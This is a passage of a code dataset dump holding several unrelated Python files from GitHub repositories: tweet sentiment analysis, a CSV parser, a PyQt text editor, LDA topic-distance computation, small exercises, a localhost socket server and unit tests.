In[134]:\n\n\n# Computing overall sentiment for each tweet\nfor i in range(len(tweet_df)):\n if tweet_df['negative'][i] > tweet_df['positive'][i] and tweet_df['negative'][i] > tweet_df['neutral'][i]:\n tweet_df['sentiment'][i] = 'negative'\n elif tweet_df['positive'][i] > tweet_df['negative'][i] and tweet_df['positive'][i] > tweet_df['neutral'][i]:\n tweet_df['sentiment'][i]= 'positive'\n else:\n tweet_df['sentiment'][i] = 'neutral'\n\ntweet_df.head()\n\n\n# In[135]:\n\n\n# Removing +ve, -ve, neutral columns as we don't need them anymore\ntweet_df.drop(['negative','positive','neutral'], axis=1, inplace=True)\n\n\n# In[136]:\n\n\n# Saving overall sentiments as a dataset\ntweet_df.to_csv(\"../data/output/roberta_overall_sentiment.csv\", index=False)\n\n\n# ### Plot for overall sentiment of tweets\n\n# In[137]:\n\n\n# Plotting barplot for visualization\nplt.figure(figsize = (8,7))\nfig = sns.countplot(x=\"sentiment\", data=tweet_df, palette='magma')\nfig = fig.get_figure()\n\n# Saving barplot to file\nfig.savefig('../static/overall_tweet_sentiment.png', bbox_inches='tight')\n\n\n# ### Word cloud for negative, neutral and positive sentiments\n\n# In[139]:\n\n\ntweet_neg = tweet_df.loc[tweet_df['sentiment']=='negative'].reset_index(drop=True)\ntweet_net = tweet_df.loc[tweet_df['sentiment']=='neutral'].reset_index(drop=True)\ntweet_pos = tweet_df.loc[tweet_df['sentiment']=='positive'].reset_index(drop=True)\n\n\n# #### Negative sentiment word cloud\n\n# In[140]:\n\n\n# Building word cloud\nwordcloud = WordCloud(background_color='white',\n stopwords = stopwords_set,\n max_words = 300,\n max_font_size = 40,\n scale = 2,\n random_state=42\n ).generate(str(tweet_neg['text']))\n\n# Displaying and saving word cloud\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.savefig('../static/negative_sentiment_wordcloud.png')\nplt.show()\n\n\n# #### Neutral sentiment word cloud\n\n# In[141]:\n\n\n# Building word cloud\nwordcloud = WordCloud(background_color='white',\n stopwords = stopwords_set,\n max_words = 300,\n max_font_size = 40,\n scale = 2,\n random_state=42\n ).generate(str(tweet_net['text']))\n\n# Displaying and saving word cloud\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.savefig('../static/neutral_sentiment_wordcloud.png')\nplt.show()\n\n\n# #### Positive sentiment word cloud\n\n# In[142]:\n\n\n# Building word cloud\nwordcloud = WordCloud(background_color='white',\n stopwords = stopwords_set,\n max_words = 300,\n max_font_size = 40,\n scale = 2,\n random_state=42\n ).generate(str(tweet_pos['text']))\n\n# Displaying and saving word cloud\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.savefig('../static/positive_sentiment_wordcloud.png')\nplt.show()\n\n\n# ## Emotion analysis\n\n# In[172]:\n\n\n# Reading previously generated RoBERTa scores\nemotion_df = pd.read_csv(\"../data/output/roberta_scores.csv\", lineterminator='\\n')\n\nemotion_df.head()\n\n\n# In[173]:\n\n\n# Removing +ve, -ve, neutral columns as we don't need them anymore\nemotion_df.drop(['negative', 'positive', 'neutral'], axis=1, inplace=True)\n\n# Adding a sentiment column to save overall sentiment\nemotion_df.insert(5, \"emotion\", '')\n\nemotion_df.head(0)\n\n\n# In[174]:\n\n\n# Computing overall emotion for each tweet\nfor i in range(len(emotion_df)):\n if emotion_df['anger'][i] > emotion_df['joy'][i] and emotion_df['anger'][i] > emotion_df['optimism'][i] and emotion_df['anger'][i] > emotion_df['sadness'][i]:\n emotion_df['emotion'][i] = 'anger'\n elif emotion_df['joy'][i] > emotion_df['anger'][i] and emotion_df['joy'][i] > emotion_df['optimism'][i] and emotion_df['joy'][i] > emotion_df['sadness'][i]:\n emotion_df['emotion'][i]= 'joy'\n elif emotion_df['optimism'][i] > emotion_df['anger'][i] and emotion_df['optimism'][i] > emotion_df['joy'][i] and emotion_df['optimism'][i] > emotion_df['sadness'][i]:\n emotion_df['emotion'][i]= 'optimism'\n else:\n emotion_df['emotion'][i] = 'sadness'\n\nemotion_df.head(10)\n\n\n# In[175]:\n\n\n# Removing +anger, joy, optimism, sadness columns as we don't need them anymore\nemotion_df.drop(['anger','joy','optimism','sadness'], axis=1, inplace=True)\n\n\n# In[176]:\n\n\n# Saving overall emotions as a dataset\nemotion_df.to_csv(\"../data/output/roberta_overall_emotion.csv\", index=False)\n\n\n# ### Plot for overall emotion of tweets\n\n# In[177]:\n\n\n# Plotting barplot for visualization\nplt.figure(figsize = (8,7))\nfig = sns.countplot(x=\"emotion\", data=emotion_df, palette='magma')\nfig = fig.get_figure()\n\n# Saving barplot to file\nfig.savefig('../static/overall_tweet_emotion.png', bbox_inches='tight')\n\n\n# ### Word cloud for anger, joy, optimism and sadness emotions\n\n# In[178]:\n\n\nemotion_anger = emotion_df.loc[emotion_df['emotion']=='anger'].reset_index(drop=True)\nemotion_joy = emotion_df.loc[emotion_df['emotion']=='joy'].reset_index(drop=True)\nemotion_opt = emotion_df.loc[emotion_df['emotion']=='optimism'].reset_index(drop=True)\nemotion_sad = emotion_df.loc[emotion_df['emotion']=='sadness'].reset_index(drop=True)\n\n\n# #### Anger emotion word cloud\n\n# In[179]:\n\n\n# Building word cloud\nwordcloud = WordCloud(background_color='white',\n stopwords = stopwords_set,\n max_words = 300,\n max_font_size = 40,\n scale = 2,\n random_state=42\n ).generate(str(emotion_anger['text']))\n\n# Displaying and saving word cloud\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.savefig('../static/anger_emotion_wordcloud.png')\nplt.show()\n\n\n# #### Joy emotion word cloud\n\n# In[180]:\n\n\n# Building word cloud\nwordcloud = WordCloud(background_color='white',\n stopwords = stopwords_set,\n max_words = 300,\n max_font_size = 40,\n scale = 2,\n random_state=42\n ).generate(str(emotion_joy['text']))\n\n# Displaying and saving word cloud\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.savefig('../static/joy_emotion_wordcloud.png')\nplt.show()\n\n\n# #### Optimism emotion word cloud\n\n# In[181]:\n\n\n# Building word cloud\nwordcloud = WordCloud(background_color='white',\n stopwords = stopwords_set,\n max_words = 300,\n max_font_size = 40,\n scale = 2,\n random_state=42\n ).generate(str(emotion_opt['text']))\n\n# Displaying and saving word cloud\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.savefig('../static/optimism_emotion_wordcloud.png')\nplt.show()\n\n\n# #### Sadness emotion word cloud\n\n# In[182]:\n\n\n# Building word cloud\nwordcloud = WordCloud(background_color='white',\n stopwords = stopwords_set,\n max_words = 300,\n max_font_size = 40,\n scale = 2,\n random_state=42\n ).generate(str(emotion_sad['text']))\n\n# Displaying and saving word cloud\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.savefig('../static/sadness_emotion_wordcloud.png')\nplt.show()\n\n","repo_name":"niharjoshi/TwitterTalk","sub_path":"src/sentiment_emotion_analysis.py","file_name":"sentiment_emotion_analysis.py","file_ext":"py","file_size_in_byte":17393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"33556909714","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 20 16:36:16 2019\n\n@author: gaura\n\"\"\"\n\nDATADIR = \"\"\nDATAFILE = \"beatles-diskography.csv\"\n\n\ndef parse_file(datafile):\n data = []\n keys = []\n row = []\n data_point = {}\n i = 0\n \n with open(datafile, \"r\") as f:\n for line in f:\n j = 0\n data_point = {}\n line = line.strip()\n if i == 0:\n keys = line.split(\",\")\n if i > 10:\n continue\n if i >= 1:\n row = line.split(\",\")\n for key in keys:\n data_point[key] = row[j]\n j += 1\n data.insert(len(data),data_point)\n \n \n i += 1\n print (data)\n return (data)\n\n\ndef test():\n # a simple test of your implemetation\n datafile = os.path.join(DATADIR, DATAFILE)\n d = parse_file(datafile)\n firstline = {'Title': 'Please Please Me', 'UK Chart Position': '1', 'Label': 'Parlophone(UK)', 'Released': '22 March 1963', 'US Chart Position': '-', 'RIAA Certification': 'Platinum', 'BPI Certification': 'Gold'}\n tenthline = {'Title': '', 'UK Chart Position': '1', 'Label': 'Parlophone(UK)', 'Released': '10 July 1964', 'US Chart Position': '-', 'RIAA Certification': '', 'BPI Certification': 'Gold'}\n\n assert d[0] == firstline\n assert d[9] == tenthline\n\n \ntest()\n","repo_name":"gaurav-raii/Data-Extraction-and-parsing-from-Different-Formats-Web_APIs--xml--json-csv--xls--xlsx-","sub_path":"Extracting_and_Parsing_data_from_CSV.py","file_name":"Extracting_and_Parsing_data_from_CSV.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"70549277651","text":"# -*- coding: utf-8 -*-\n\nimport json\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QFileDialog, QMessageBox, QColorDialog, QPushButton, QAction, QComboBox\nfrom PyQt5.QtGui import QFont, QPainter, QColor, QTextCursor, QIcon, QPalette\nimport sys\nimport os\nfrom interfaz.interfaz import Ui_MainWindow as text_ui\nimport io\nimport functions.about\nfrom ext import find\n\n\nclass EditorWindow(QMainWindow, text_ui):\n def __init__(self, parent = None, file = None):\n super(EditorWindow, self).__init__(parent)\n self.setupUi(self)\n self.doubleSpinBox.setValue(12)\n # self.fontComboBox.setWritingSystem()\n\n # backColor = QAction(QIcon(\"icons/backcolor.png\"),\"Change background color\",self)\n\n self.actionNew.triggered.connect(lambda: self.NewFile(existing=True))\n # self.actionNew.triggered.connect(lambda: NewFile(self, self.titleTemplate, existing=True))\n self.actionOpen.triggered.connect(lambda: self.OpenFile(None))\n # self.actionOpen.triggered.connect(lambda: OpenFile(self, None))\n self.actionSave.triggered.connect(self.Save)\n # self.actionSave.triggered.connect(lambda: Save(self))\n self.actionExit.triggered.connect(lambda: sys.exit() if self.Exit() is 2 or self.Exit is 0 else None)\n self.actionSave_as.triggered.connect(self.Save_as)\n # self.actionSave_as.triggered.connect(lambda: Save_as(self))\n self.actionAcerca_de.triggered.connect(functions.about.about)\n self.actionAbout_QT.triggered.connect(functions.about.about_qt)\n self.actionText_Colour.triggered.connect(lambda: self.change_text_colour(\"Text\"))\n self.actionbackground_color.triggered.connect(lambda: self.change_text_colour(\"Background\"))\n \n self.actionBold.triggered.connect(lambda: self.text_format(\"Bold\"))\n self.actionItalic.triggered.connect(lambda: self.text_format(\"Italic\"))\n self.actionUnderline.triggered.connect(lambda: self.text_format(\"Underline\"))\n\n ### NEW ###\n #self.findAction.triggered.connect(lambda: find.Find(self).show)\n self.findAction.triggered.connect(find.Find(self).show)\n ### ###\n\n self.actionCopy.triggered.connect(lambda: self.textEdit.copy())\n self.actionPaste.triggered.connect(lambda: self.textEdit.paste() if self.textEdit.canPaste() else None)\n self.actionCut.triggered.connect(lambda: self.textEdit.cut())\n\n self.textEdit.setUndoRedoEnabled(True)\n\n self.textEdit.textChanged.connect(lambda: self.setWindowModified(True))\n\n self.textEdit.cursorPositionChanged.connect(self.UpdateLineCol)\n #self.textEdit.cursorPositionChanged.connect(self.updateFont)\n self.fontComboBox.currentFontChanged.connect(self.updateFont)\n self.doubleSpinBox.valueChanged.connect(self.updateFont)\n\n # self.textEdit.cursorPositionChanged.connect(self.autosave)\n\n self.statusbar.showMessage(\"Ln 1, Col 1\")\n self.fontComboBox.setEditable(False)\n\n self.toolBar.addWidget(self.fontComboBox)\n self.toolBar.addWidget(self.doubleSpinBox)\n # self.toolBar.addAction(backColor)\n\n self.titleTemplate = \"[*]\"\n self.filename = file\n\n self.actionCambiar_Fondo.triggered.connect(self.Backgroud_Color)\n\n\n if file is not None and not os.path.exists(self.filename):\n self.filename = None\n \n if self.filename is None:\n self.NewFile()\n else:\n self.OpenFile(self.filename)\n self._baseFile = os.path.basename(self.filename)\n\n print(self.windowTitle())\n '''\n def ffind(self):\n self.textEdit.textCursor().beginEditBlock()\n doc = self.textEdit.document()\n cursor = QTextCursor(doc)\n while True:\n cursor = doc.find(word, cursor)\n if cursor.isNull():\n break\n if replace and newWord is not None:\n cursor.insertText(newWord)\n\n self.textEdit.textCursor().endEditBlock()\n '''\n\n def autosave(self): # no sirve aun pero no rompe nada, si pueden moverle que chido\n import time\n\n print(\"autosave\")\n\n time1 = time.time()\n while time.time() - time1 < 5:\n print (time.time())\n if self.textEdit.textChanged:\n return \n \n self.Save()\n return\n\n\n def NewFile(self, existing=False):\n if existing:\n choice = self.Exit()\n if choice is 0:\n self.Save()\n elif choice is 1:\n return\n self.filename = None\n self._baseFile = None\n self.setWindowTitle(f\"Untitled {self.titleTemplate}\")\n self.textEdit.clear()\n self.doubleSpinBox.setValue(12)\n self.textEdit.setTextColor(QColor('#000000'))\n self.textEdit.setTextBackgroundColor(QColor(255,255,255,0))\n c = self.textEdit.viewport().palette()\n c.setColor(self.textEdit.viewport().backgroundRole(), QColor(255,255,255))\n self.textEdit.viewport().setPalette(c)\n\n\n def OpenFile(self,file):\n if file is None:\n tmpFile, ok = QFileDialog.getOpenFileName(self, \"Open File\", str(os.path.abspath(os.getcwd())), filter=\"All Files (*.*);;Text (*.txt);;HTML (*.html);;Chukurh (*.chk)\", initialFilter=\"Chukurh (*.chk)\")\n if not ok:\n return\n \n if tmpFile is '':\n QMessageBox.critical(self, 'Error', \"Operacion 'abrir archivo' cancelada por el usuario \")\n return\n \n self.filename = tmpFile\n \n self._baseFile = os.path.basename(self.filename)\n self.setWindowTitle(self._baseFile + self.titleTemplate)\n\n self.textEdit.clear()\n with io.open(self.filename, 'r', encoding='utf8') as f:\n if \".txt\" in self.filename:\n self.textEdit.setPlainText(f.read())\n elif \".html\" or \".chk\" in self.filename:\n self.textEdit.setHtml(f.read())\n else:\n self.textEdit.setPlainText(f.read())\n\n self.setWindowModified(False)\n\n\n def write_file(self, ok):\n with io.open(self.filename, 'w', encoding='utf8') as f:\n if \".chk\" in ok or \".html\" in ok:\n color = f'background-color:{self.textEdit.viewport().palette().color(self.textEdit.viewport().backgroundRole()).name()};'\n html = self.textEdit.toHtml()\n html = html.splitlines()\n temp = html[3]\n body_style = temp[:-2] + color + temp[-2:]\n html_final = ''\n for i in html:\n if i == temp:\n html_final += body_style + '\\n'\n else:\n html_final += i + '\\n'\n f.write(html_final)\n else:\n f.write(self.textEdit.toPlainText())\n\n\n def Save(self):\n if not self.isWindowModified():\n return\n \n if self.filename is None:\n tmpFile, ok = QFileDialog.getSaveFileName(self, \"Save File\", str(os.path.abspath(os.getcwd())), filter=\"All Files (*.*);;Text (*.txt);;HTML (*.html);;Chukurh (*.chk)\", initialFilter=\"Chukurh (*.chk)\")\n if not ok:\n return\n if tmpFile is '':\n QMessageBox.critical(self, 'Error', \"Guardado de archivo cancelado por el usuario\")\n return\n \n self.filename = tmpFile\n self._baseFile = os.path.basename(self.filename)\n \n self.setWindowTitle(self._baseFile + self.titleTemplate)\n\n self.write_file(ok)\n \n self.setWindowModified(False)\n\n\n def Save_as(self):\n tmpFile, ok = QFileDialog.getSaveFileName(self, \"Save File\", str(os.path.abspath(os.getcwd())), filter=\"All Files (*.*);;Text (*.txt);;HTML (*.html);;Chukurh (*.chk)\", initialFilter=\"Chukurh (*.chk)\")\n\n if not ok:\n return\n\n if tmpFile is '':\n QMessageBox.critical(self, 'Error', \"Guardado de archivo cancelado por el usuario\")\n return\n\n self.filename = tmpFile\n self._baseFile = os.path.basename(self.filename)\n \n self.setWindowTitle(self._baseFile + self.titleTemplate)\n\n self.write_file(ok)\n \n self.setWindowModified(False)\n\n\n\n def closeEvent(self, a0):\n # print(\"Puchaste x\")\n check = self.Exit()\n if check is 2 or check is 0:\n print(\"Adios\")\n a0.accept()\n else:\n print(\"Nel\")\n a0.ignore()\n \n def Exit(self): \n if not self.isWindowModified():\n return 0\n # sys.exit()\n else:\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Information)\n\n msg.setText(\"Salir sin guardar\")\n msg.setInformativeText(\"Todos los cambios se perderan\")\n msg.setWindowTitle(\"Advertencia\")\n \n # msg.addButton(QMessageBox.Discard)\n # msg.addButton(QMessageBox.Save )\n # msg.addButton(QMessageBox.Cancel)\n \n msg.setStandardButtons(QMessageBox.Save| QMessageBox.Discard| QMessageBox.Cancel)\n msg.setDefaultButton(QMessageBox.Save)\n # msg.buttonClicked.connect(Check)\n \n buttonY = msg.button(QMessageBox.Save)\n buttonY.setText('Guardar')\n buttonN = msg.button(QMessageBox.Discard)\n buttonN.setText('Descartar')\n buttonO = msg.button(QMessageBox.Cancel)\n buttonO.setText('Cancelar')\n \n if msg.exec():\n if msg.buttonRole(msg.clickedButton())== 2:\n #print(\"Discard\")\n return 2\n elif msg.buttonRole(msg.clickedButton()) == 0:\n # i.text() == \"Save \n #print(\"Save\")\n self.Save()\n # sys.exit()\n return 0\n elif msg.buttonRole(msg.clickedButton()) == 1:\n #i.text() == \"cancel\"\n print(\"cancel\")\n print(False)\n return 1\n\n\n def UpdateLineCol(self):\n line = self.textEdit.textCursor().blockNumber() + 1\n col = self.textEdit.textCursor().columnNumber() + 1\n self.statusbar.showMessage(f\"Ln {line}, Col {col}\")\n\n def updateFont(self):\n Font = self.fontComboBox.currentFont()\n FontFam = Font.family()\n indexOf = self.fontComboBox.findText(FontFam)\n self.fontComboBox.setCurrentIndex(indexOf)\n self.textEdit.setFont(Font)\n self.textEdit.setCurrentFont(Font)\n self.textEdit.setFontPointSize(self.doubleSpinBox.value())\n \n\n \n def change_text_colour(self, value):\n ColorD = QColorDialog(self)\n if value is \"Text\":\n ColorD.colorSelected.connect(self.textEdit.setTextColor)\n elif value is \"Background\":\n ColorD.colorSelected.connect(self.textEdit.setTextBackgroundColor)\n ColorD.open()\n\n \n\n def text_format(self, value): \n # italic\n # bold\n # underline, etc\n # print(f\"Cambiar {value}\")\n if value is \"Italic\":\n if not self.textEdit.fontItalic():\n self.textEdit.setFontItalic(True)\n else:\n self.textEdit.setFontItalic(False)\n elif value is \"Underline\":\n if not self.textEdit.fontUnderline():\n self.textEdit.setFontUnderline(True)\n else:\n self.textEdit.setFontUnderline(False)\n \n\n def search_and_replace(self, word, newWord = None, replace = False):\n self.textEdit.textCursor().beginEditBlock()\n doc = self.textEdit.document()\n cursor = QTextCursor(doc)\n while True:\n cursor = doc.find(word, cursor)\n if cursor.isNull():\n break\n if replace and newWord is not None:\n cursor.insertText(newWord)\n\n self.textEdit.textCursor().endEditBlock()\n\n\n\n def Backgroud_Color(self):\n c = self.textEdit.viewport().palette()\n ColorD = QColorDialog(self)\n # ColorD.colorSelected.connect(c.setColor(self.textEdit.viewport().backgroudRole()))\n # ColorD.exec()\n # print(ColorD.currentColor())\n c.setColor(self.textEdit.viewport().backgroundRole(), ColorD.getColor())\n self.textEdit.viewport().setPalette(c)\n print(self.textEdit.viewport().palette().color(self.textEdit.viewport().backgroundRole()).name())\n # print(c.name())\n\n\n","repo_name":"EMACC99/Procesador_de_texto","sub_path":"functions/connector.py","file_name":"connector.py","file_ext":"py","file_size_in_byte":12772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"9862071686","text":"import gensim\nimport pandas as pd\nimport re\nimport numpy as np\nimport random\nfrom scipy.spatial.distance import cosine\n\n# load LDA model, dictionary and corpus\n#dictionary = gensim.corpora.Dictionary.load('../clean-data/fine-scale/all-countries/dictionary.dict')\ncorpus = gensim.corpora.MmCorpus('./clean-data/fine-scale/all-countries/corpus.mm')\nlda = gensim.models.ldamulticore.LdaMulticore.load('./models/fine-scale/all-countries/model_140_topics')\n\n# load metadata\nukri_metadata = pd.read_csv(\"./clean-data/fine-scale/UK/UKRI/UKRI_project_metadata.csv\")\n# as the USA metadata project id column is made of only numbers, python thinks it is suppose to be numeric, so coerce it into a string to avoid problems when concatenating the UKRI data.\nus_metadata = pd.read_csv(\"./clean-data/fine-scale/USA/NSF/NSF_project_metadata.csv\", dtype=\"object\")\n\n# row bind the detasets together; and reset index to match corpus, as datasets have more rows than the corpus. That happened because not all projects were used to fit the LDA (for example projects that did not have titles or abstracts)\ndf_meta = pd.concat([ukri_metadata,us_metadata]).reset_index()\n\n## COMBINE METADATA WITH CORPUS IDS ##\n\n# load ordered project ID \nproject_id_ordered = pd.read_csv(\"./clean-data/fine-scale/all-countries/projectID_corpus.csv\")\n# remove .txt from end\nproject_id_ordered[\"ProjectId\"] = project_id_ordered[\"ProjectId\"].apply(lambda x: re.sub(\".txt\",\"\",x))\n# merge projects ids and metadata by columns in common\ndf_meta_joined = project_id_ordered.merge(df_meta, on=[\"ProjectId\",\"Country\",\"CountryFundingBody\"])\n\n## Load doctopic matrix\ndoc_topic_mat = np.load(\"./results/fine-scale/all-countries/doc_topic_mat.npy\")\n#filter doctop\ndoc_topic_mat[doc_topic_mat < 0.01] = 0.0\n\n# filter out docs with no topics (shouldnt exist with new min probability...)\nno_topic_index = np.sum(doc_topic_mat, axis = (0)) > 0\n\n#remove rows from metadata\ndf_meta_joined = df_meta_joined[no_topic_index].reset_index()\ndoc_topic_mat = doc_topic_mat[:,no_topic_index]\n\n\n#Calculate funding body distances\n## DISTANCE MATRIX ##\n\n# To get distance of research councils we:\n# 1) Calculate distance in topic space of each pair of documents (might need to sample if too large...)\n# 2) Calculate summary of distances within and between research councils\n\n## Distance measure\ndef Hellinger(p, q):\n # distance between p an d\n # p and q are np array probability distributions\n n = len(p)\n sum = 0.0\n for i in range(n):\n sum += (np.sqrt(p[i]) - np.sqrt(q[i]))**2\n result = (1.0 / np.sqrt(2.0)) * np.sqrt(sum)\n return result\n\nfunders = df_meta_joined[\"FundingBody\"].unique()\n\nN = len(funders)\nN_sample = 3000\n\n# create empty array to store distances by using the number of existing documents\nHellinger_distance = np.zeros((N,N,N_sample))\n\n# for loop to allocate distances to the distances array\n# for every document in N\nfor i in range(N):\n # and for each document in the top right triangle\n for j in range(i, N):\n #get samples\n indx_1 = df_meta_joined[df_meta_joined.FundingBody == funders[i]].index\n indx_2 = df_meta_joined[df_meta_joined.FundingBody == funders[j]].index\n \n print(len(indx_1), len(indx_2))\n \n indx_1 = random.sample(sorted(indx_1), N_sample)\n indx_2 = random.sample(sorted(indx_2), N_sample)\n for a, (k,l) in enumerate(zip(indx_1,indx_2)):\n # indx = (doc_topic_mat[:,k] != 0) | (doc_topic_mat[:,l] !=0)\n # calculate Hellinger distance of probability of one document to another for all topics\n dis = Hellinger(doc_topic_mat[:,k], doc_topic_mat[:,l])\n Hellinger_distance[i,j,a] = Hellinger_distance[j,i,a] = dis\n\n#save d_mat\nnp.save(\"./results/fine-scale/all-countries/funder_distances.npy\", Hellinger_distance)\n\n#save funders\nwith open(\"./results/fine-scale/all-countries/funder_index.txt\", \"w\") as fn:\n fn.writelines(\"\\n\".join(funders))\n","repo_name":"FCBT/Funding-Landscape","sub_path":"code/old/07_get_distance_matrix_funders.py","file_name":"07_get_distance_matrix_funders.py","file_ext":"py","file_size_in_byte":3944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"2266372342","text":"def pattern(a, c):\n if c == True:\n i = 0\n while i < a:\n print(\" * \" * (i + 1))\n i = i + 1\n elif c == False:\n i = a\n while i > 0:\n print(\" * \" * i)\n i = i - 1\n\n\na = int(input('Enter no. of rows:\\n'))\nb = int(input('0 or 1?\\n'))\nc = bool(b)\npattern(a, c)\n","repo_name":"Yashthon/Asterisk-Pattern-Printing","sub_path":"Asterisk-Pattern-Printing.py","file_name":"Asterisk-Pattern-Printing.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"66"}
+{"seq_id":"28591731918","text":"\"\"\"\nEjercicio 1\nEscribe una frase aleatoria de una lista de strings cada 3 segundos.\n\n\"\"\"\nimport random\n\n\n# Funciones\ndef random_index(variable,lista):\n if variable:\n index = random.randint(0, len(text_list) - 1)\n print(\"Tu frase es: \" + text_list[index])\n else:\n print(\"Que lastima. Nos vemos la proxima. Igual me has tenido que leer jeje\")\n return\n\n\ndef ask_yes_or_no(message):\n response = None\n while response != \"s\" and response != \"n\":\n response = input(message + \"[s/n]:\")\n return response == \"s\"\n\n\ndef main():\n print(\"Te mostrare una frase aleatoria de mi lista de frases..\")\n a = True\n while a:\n a = ask_yes_or_no(\"Quieres una frase?\")\n random_index(a, text_list)\n\n\nif __name__ == '__main__':\n text_list = [\"Hola mundo!\", \"En memoria del mas...\", \"Perdedor\", \"Aca hay algo raro\", \"Otra frase mas para esta lista\", \"Ya no se me ocurre mas\", \"O.. si ?\"]\n main()","repo_name":"rbo93/mi_primer_programa","sub_path":"Ejercicios Realizados/Random/archivos_ejercicio_uno.py","file_name":"archivos_ejercicio_uno.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"1123138478","text":"\nimport io\nimport pytest\nfrom fastapi import UploadFile\nfrom typing import Tuple\nfrom app import ImageUpload, ImageComparison, EnhancedImage, ImageQualityEnhancer\n\n# Import any additional libraries as needed\n\n# Mocked input and expected output data for tests\nTEST_CASES = [\n {\n \"input\": ImageUpload(\n image=UploadFile(\n filename=\"test_image.jpg\",\n file=io.BytesIO(b\"original_image_data\"),\n ),\n ),\n \"expected_output\": (\n ImageComparison(\n original_image=b\"original_image_data\",\n enhanced_image=b\"enhanced_image_data\",\n edits=[\"edit1\", \"edit2\"],\n ),\n EnhancedImage(enhanced_image=b\"enhanced_image_data\"),\n ),\n },\n # Add more test cases as needed\n]\n\n# Mock the superclass transform method to return the desired output for testing\nasync def mocked_transform(*args, **kwargs):\n return [\n ImageComparison(original_image=b\"original_image_data\", enhanced_image=b\"enhanced_image_data\", edits=[\"edit1\", \"edit2\"]),\n EnhancedImage(enhanced_image=b\"enhanced_image_data\"),\n ]\n\n# Use pytest.mark.parametrize to create multiple test scenarios\n@pytest.mark.parametrize(\"test_case\", TEST_CASES)\nasync def test_transform(test_case: dict):\n # Set mocked input data and expected output data\n input_data: ImageUpload = test_case[\"input\"]\n expected_output: Tuple[ImageComparison, EnhancedImage] = test_case[\"expected_output\"]\n\n # Create an instance of the component and test the transform() method\n image_quality_enhancer = ImageQualityEnhancer()\n image_quality_enhancer.super().transform = mocked_transform # Override the superclass method with the mocked version\n\n output = await image_quality_enhancer.transform(input_data, callbacks=None)\n\n # Assert that the output matches the expected output\n assert output == expected_output\n\n # Add error handling and edge cases if necessary\n","repo_name":"yeagerai/yWorkflows-ImageQualityEnhancer-by-Johnathan-2005-c44c1d60","sub_path":"components/image_quality_enhancer/t_image_quality_enhancer.py","file_name":"t_image_quality_enhancer.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"5975895862","text":"import socket\nimport os\n\nfrom _thread import *\nfrom handler_server import *\nfrom route_server import *\n\nServerSocket = socket.socket()\nhost = '127.0.0.1'\nport = 42069\nThreadCount = 0\n\ntry:\n ServerSocket.bind((host, port))\nexcept socket.error as e:\n print(str(e))\n\nprint('Waiting for a Connection..')\nServerSocket.listen(5)\n\n\ndef threaded_client(conn):\n while True:\n option, telnet = getOption(conn)\n if not option:\n break\n route( conn, option, telnet )\n conn.close()\n\nwhile True:\n Client, address = ServerSocket.accept()\n print('Connected to: ' + address[0] + ':' + str(address[1]))\n start_new_thread(threaded_client, (Client, ))\n ThreadCount += 1\n print('Thread Number: ' + str(ThreadCount))\nServerSocket.close()\n\n\n\n\n\n\n\n\n\n\n'''import socket\n\nHOST = '127.0.0.1' # Standard loopback interface address (localhost)\nPORT = 65432 # Port to listen on (non-privileged ports are > 1023)\n\nwhile True:\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n sock.bind((HOST, PORT))\n sock.listen()\n conn, addr = sock.accept()\n\n with conn:\n print('Connected by', addr)\n\n while True:\n option, telnet = getOption(conn)\n if not option:\n break\n route( conn, option, telnet )\n\n'''","repo_name":"shankars99/nntp-networks-proj","sub_path":"server/pyScripts/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"24518299961","text":"\"\"\"Test cases for the base explorer class.\"\"\"\nimport pytest\n\nfrom predicators import utils\nfrom predicators.envs.cover import CoverEnv\nfrom predicators.explorers import BaseExplorer, create_explorer\nfrom predicators.ground_truth_models import get_gt_nsrts, get_gt_options\nfrom predicators.option_model import _OracleOptionModel\n\n\ndef test_create_explorer():\n \"\"\"Tests for create_explorer.\"\"\"\n utils.reset_config({\"env\": \"cover\"})\n env = CoverEnv()\n nsrts = get_gt_nsrts(env.get_name(), env.predicates,\n get_gt_options(env.get_name()))\n option_model = _OracleOptionModel(env)\n train_tasks = [t.task for t in env.get_train_tasks()]\n # Greedy lookahead explorer.\n state_score_fn = lambda _1, _2: 0.0\n name = \"greedy_lookahead\"\n explorer = create_explorer(name,\n env.predicates,\n get_gt_options(env.get_name()),\n env.types,\n env.action_space,\n train_tasks,\n nsrts=nsrts,\n option_model=option_model,\n state_score_fn=state_score_fn)\n assert isinstance(explorer, BaseExplorer)\n # GLIB explorer.\n atom_score_fn = lambda _: 0.0\n name = \"glib\"\n explorer = create_explorer(name,\n env.predicates,\n get_gt_options(env.get_name()),\n env.types,\n env.action_space,\n train_tasks,\n nsrts=nsrts,\n option_model=option_model,\n babble_predicates=env.predicates,\n atom_score_fn=atom_score_fn)\n assert isinstance(explorer, BaseExplorer)\n # Bilevel planning explorer.\n name = \"exploit_planning\"\n explorer = create_explorer(name,\n env.predicates,\n get_gt_options(env.get_name()),\n env.types,\n env.action_space,\n train_tasks,\n nsrts=nsrts,\n option_model=option_model)\n assert isinstance(explorer, 